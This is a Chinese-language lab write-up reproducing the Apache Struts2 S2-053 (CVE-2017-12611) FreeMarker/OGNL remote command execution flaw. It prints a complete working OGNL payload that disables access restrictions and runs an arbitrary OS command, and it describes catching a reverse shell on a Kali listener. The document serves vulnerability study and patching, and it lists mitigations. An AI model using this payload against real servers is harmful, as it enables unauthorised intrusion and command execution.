1. 程式人生 > >Apache struts2 Freemarker標籤遠端命令執行_CVE-2017-12611(S2-053)漏洞復現

Apache struts2 Freemarker標籤遠端命令執行_CVE-2017-12611(S2-053)漏洞復現

Apache struts2 Freemarker標籤遠端命令執行_CVE-2017-12611(S2-053)漏洞復現

一、漏洞描述

Struts2在使用Freemarker模組引擎的時候,同時允許解析OGNL表示式。導致使用者輸入的資料本身不會被OGNL解析,但是由於被Freemarker解析一次後變成離開一個表示式,被OGNL解析第二次,導致任意命令執行漏洞。

二、漏洞影響版本

Struts 2.0.1-struts 2.3.33

Struts 2.5-Struts 2.5.10

三、漏洞環境搭建

1.使用docker搭建環境

四、漏洞復現

1、啟動環境

  

2、瀏覽器訪問

  

POC如下:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注: 執行命令的地方在於(#cmd=’id’)

3、檢視使用者所屬組

  

4、反彈shell,把shell反彈到kali上

  

5、在kali 端開啟監聽,可以看到成功獲得目標反彈過來的shell

  

五、漏洞防禦

1、 Apache Struts版本最新版本

2、 Freemarker標籤不要通過Request方式